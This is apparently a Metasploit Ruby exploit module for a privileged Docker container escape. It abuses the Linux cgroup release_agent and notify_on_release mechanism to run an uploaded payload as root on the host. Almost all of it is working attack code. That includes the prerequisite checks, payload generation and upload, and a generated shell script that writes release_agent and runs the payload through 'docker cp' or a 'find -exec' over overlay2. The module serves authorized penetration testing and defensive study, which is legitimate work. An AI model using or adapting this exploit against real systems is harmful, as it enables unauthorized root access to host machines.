162 lines
5.9 KiB
Ruby
162 lines
5.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
# POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
{
|
|
'Name' => 'Docker Privileged Container Escape',
|
|
'Description' => %q{
|
|
This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release
|
|
feature. This exploit should work against any container started with the following flags: `--cap-add=SYS_ADMIN`, `--privileged`.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['stealthcopter'],
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
|
|
'Targets' => [['Automatic', {}]],
|
|
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
['EDB', '47147'],
|
|
['URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],
|
|
['URL', 'https://github.com/stealthcopter/deepce']
|
|
],
|
|
'DisclosureDate' => '2019-07-17', # Felix Wilhelm @_fel1x first mentioned on twitter Felix Wilhelm
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('ForcePayloadSearch', [false, 'Search for payload on the file system rather than copying it from container', false]),
|
|
OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', '/tmp']),
|
|
OptString.new('WritableHostDir', [true, 'A directory where we can write files inside on the host', '/tmp']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def base_dir_container
|
|
datastore['WritableContainerDir'].to_s
|
|
end
|
|
|
|
def base_dir_host
|
|
datastore['WritableHostDir'].to_s
|
|
end
|
|
|
|
# Get the container id and check it's the expected 64 char hex string, otherwise return nil
|
|
def container_id
|
|
id = cmd_exec('basename $(cat /proc/1/cpuset)').chomp
|
|
unless id.match(/\A\h{64}\z/).nil?
|
|
id
|
|
end
|
|
end
|
|
|
|
# Check we have all the prerequisites to perform the escape
|
|
def check
|
|
# are in a docker container
|
|
unless file?('/.dockerenv')
|
|
return CheckCode::Safe('Not inside a Docker container')
|
|
end
|
|
|
|
# is root user
|
|
unless is_root?
|
|
return Exploit::CheckCode::Safe('Exploit requires root inside container')
|
|
end
|
|
|
|
# are rdma files present in /sys/
|
|
path = cmd_exec('ls -x /s*/fs/c*/*/r* | head -n1')
|
|
unless path.start_with? '/'
|
|
return Exploit::CheckCode::Safe('Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.')
|
|
end
|
|
|
|
CheckCode::Appears('Inside Docker container and target appears vulnerable')
|
|
end
|
|
|
|
def exploit
|
|
unless writable? base_dir_container
|
|
fail_with Failure::BadConfig, "#{base_dir_container} is not writable"
|
|
end
|
|
|
|
pl = generate_payload_exe
|
|
exe_path = "#{base_dir_container}/#{rand_text_alpha(6..11)}"
|
|
print_status("Writing payload executable to '#{exe_path}'")
|
|
|
|
upload_and_chmodx(exe_path, pl)
|
|
register_file_for_cleanup(exe_path)
|
|
|
|
print_status('Executing script to exploit privileged container')
|
|
|
|
script = shell_script(exe_path)
|
|
|
|
vprint_status("Script: #{script}")
|
|
print_status(cmd_exec(script))
|
|
|
|
print_status "Waiting #{datastore['WfsDelay']}s for payload"
|
|
end
|
|
|
|
def shell_script(payload_path)
|
|
# The tricky bit is finding the payload on the host machine in order to execute it. The options here are
|
|
# 1. Find the file on the host operating system `find /var/lib/docker/overlay2/ -name 'JGsgvlU' -exec {} \;`
|
|
# 2. Copy the payload out of the container and execute it `docker cp containerid:/tmp/JGsgvlU /tmp/JGsgvlU && /tmp/JGsgvlU`
|
|
|
|
id = container_id
|
|
filename = File.basename(payload_path)
|
|
|
|
vprint_status("container id #{id}")
|
|
|
|
# If we cant find the id, or user requested it, search for the payload on the filesystem rather than copying it out of container
|
|
if id.nil? || datastore['ForcePayloadSearch']
|
|
# We couldn't find a container name, lets try and find the payload on the filesystem and then execute it
|
|
print_status('Searching for payload on host')
|
|
command = "find /var/lib/docker/overlay2/ -name '#{filename}' -exec {} \\;"
|
|
else
|
|
# We found a container id, copy the payload to host, then execute it
|
|
payload_path_host = "#{base_dir_host}/#{filename}"
|
|
print_status("Found container id #{container_id}, copying payload to host")
|
|
command = "docker cp #{id}:#{payload_path} #{payload_path_host}; #{payload_path_host}"
|
|
end
|
|
|
|
vprint_status(command)
|
|
|
|
# the cow variables are random filenames to use for the exploit
|
|
c = rand_text_alpha(6..8)
|
|
o = rand_text_alpha(6..8)
|
|
w = rand_text_alpha(6..8)
|
|
|
|
%{
|
|
d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)")
|
|
mkdir -p "$d/#{w}"
|
|
echo 1 >"$d/#{w}/notify_on_release"
|
|
t="$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)"
|
|
touch /#{o}
|
|
echo "$t/#{c}" >"$d/release_agent"
|
|
printf "#!/bin/sh\\n%s > %s/#{o}" "#{command}" "$t">/#{c}
|
|
chmod +x /#{c}
|
|
sh -c "echo 0 >$d/#{w}/cgroup.procs"
|
|
sleep 1
|
|
cat /#{o}
|
|
rm /#{c} /#{o}
|
|
}.strip.split("\n").map(&:strip).join(';')
|
|
end
|
|
end
|